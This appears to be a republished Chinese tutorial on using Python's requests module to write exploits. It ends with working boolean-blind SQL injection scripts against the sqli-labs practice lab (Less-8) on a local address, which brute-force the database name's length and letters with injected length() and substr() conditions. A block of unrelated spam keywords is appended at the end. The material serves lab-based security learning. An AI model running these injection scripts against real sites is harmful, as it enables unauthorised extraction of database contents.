怎么用Python编写EXP
发表于:2024-11-24 作者:千家信息网编辑
千家信息网最后更新 2024年11月24日,本篇内容介绍了"怎么用Python编写EXP"的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!一、环境1
千家信息网最后更新 2024年11月24日怎么用Python编写EXP
本篇内容介绍了"怎么用Python编写EXP"的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!
一、环境
1、python3
2、用到的模块requests
3、sqli-lab
二、requests模块应用
1、获取网页的内容
# coding=utf-8import requestsres=requests.get("http://192.168.1.129/html/1.html")print(res.content.decode("utf-8"))
2、获取头信息
3、获取提交的网址
print(res.headers)print(res.url)
运行结果:
{'Date': 'Tue, 04 Aug 2020 13:01:06 GMT', 'Server': 'Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45', 'Last-Modified': 'Sun, 31 May 2020 15:48:24 GMT', 'ETag': '"676-5a6f39bc391c0"', 'Accept-Ranges': 'bytes', 'Content-Length': '1654', 'Keep-Alive': 'timeout=5, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html'}http://192.168.1.129/html/1.html
4、修改访问时UA信息
# coding=utf-8import requestsurl="http://192.168.1.129/html/1.html"header={"User-Agent":"aiyoubucuo"}res=requests.get(url,headers=header)print(res.request.headers)运行结果:{'User-Agent': 'aiyoubucuo', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}
5、超时处理,网页超过三秒没有反应当做异常
# coding=utf-8import requestsurl="http://192.168.1.129/html/chaoshi.php"try: res=requests.get(url,timeout=3) print(res.request.headers)except Exception as e: print("网页已超时!!!")
6、提交get数据
# coding=utf-8import requestsurl="http://192.168.1.129/get.php"data={"aiyou":"bucuo"}res=requests.get(url,params=data)print(res.url)
运行结果:
http://192.168.1.129/get.php?aiyou=bucuo
7、POST提交数据
# coding=utf-8import requestsurl="http://192.168.1.129/post.php"datas={"aiyou":"bucuo"}res=requests.post(url,data=datas)print(res.content.decode("utf-8"))
运行结果:
array(1) { ["aiyou"]=> string(5) "bucuo"}
8、上传文件
# coding=utf-8import requestsurl="http://192.168.1.129/shangchuan.php"upfile={"file":open("123.txt","rb")}datas={"submit":"submit"}res=requests.post(url,files=upfile,data=datas)print(res.content.decode("utf-8"))
运行结果:
三、获取数据库长度
#判断数据库长度,http://192.168.1.129/sqli/Less-8/?id=8' and (length(database())) = 8 --+# coding=utf-8import requestsurl="http://192.168.1.129/sqli/Less-8/"reslen=len(requests.get(url=url+"?id=1").text)print("正常情况下网页返回数据的长度"+str(reslen))dblen=0while True: dburl=url+"?id=1'+and+(length(database()))="+str(dblen)+"--+" print(dburl) if len(requests.get(dburl).text)==reslen: print("数据库名字长度为:"+str(dblen)) break if dblen==30: print("出现错误!") break dblen+=1
运行结果:
四、获取数据库名字
# coding=utf-8import stringimport requestsurl="http://192.168.1.129/sqli/Less-8/"reslen=len(requests.get(url=url+"?id=1").text)print("正常情况下网页返回数据的长度"+str(reslen))#判断数据库长度,http://192.168.1.129/sqli/Less-8/?id=2' and (length(database())) = 8 --+dblen=0while True: dburl=url+"?id=1'+and+(length(database()))="+str(dblen)+"--+" print(dburl) if len(requests.get(dburl).text)==reslen: print("数据库名字长度为:"+str(dblen)) break if dblen==30: print("出现错误!") break dblen+=1dbnmae=""#生成8个字母for i in range(1,9): #获取字母从a-z for a in string.ascii_lowercase: dburl=url+"?id=1'+and+substr(database(),"+str(i)+",1)="+"'"+a+"'"+"--+" print(dburl) if len(requests.get(dburl).text)==reslen: dbnmae+=a print(dbnmae) break
运行结果:
"怎么用Python编写EXP"的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识可以关注网站,小编将为大家输出更多高质量的实用文章!
数据
结果
长度
运行
数据库
网页
内容
名字
情况
utf-8
信息
字母
更多
模块
知识
错误
实用
学有所成
接下来
困境
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
保护和防范电信网络安全
学校教材订购系统数据库设计报告
软件开发 编码阶段工作
王坤软件开发
计算机数据库技术的应用
重庆肇庆app软件开发
服务器如何加网卡
三级数据库技术真题合集
企业网络安全信息化工作季度简报
ceic数据库支持多少种语言
杰发科技软件开发面试
荆州农科院 网络安全
云外网络技术有限公司
创速网络技术有限公司
迷你世界怎么搞崩服务器
软件开发做哪个行业的工资高
给数据库增加管理员密码
宿迁网络安全协会
陈氏家族族谱数据库
软件开发实验室 英文
南通多功能软件开发
微轮软cdo服务器网址
ibm服务器延保
称重系统软件开发
网络安全保护制度的发展
应用软件开发学校
期货的软件开发
网络技术有限公司ng
软件开发培训班哪里做得好
招远软件开发培训班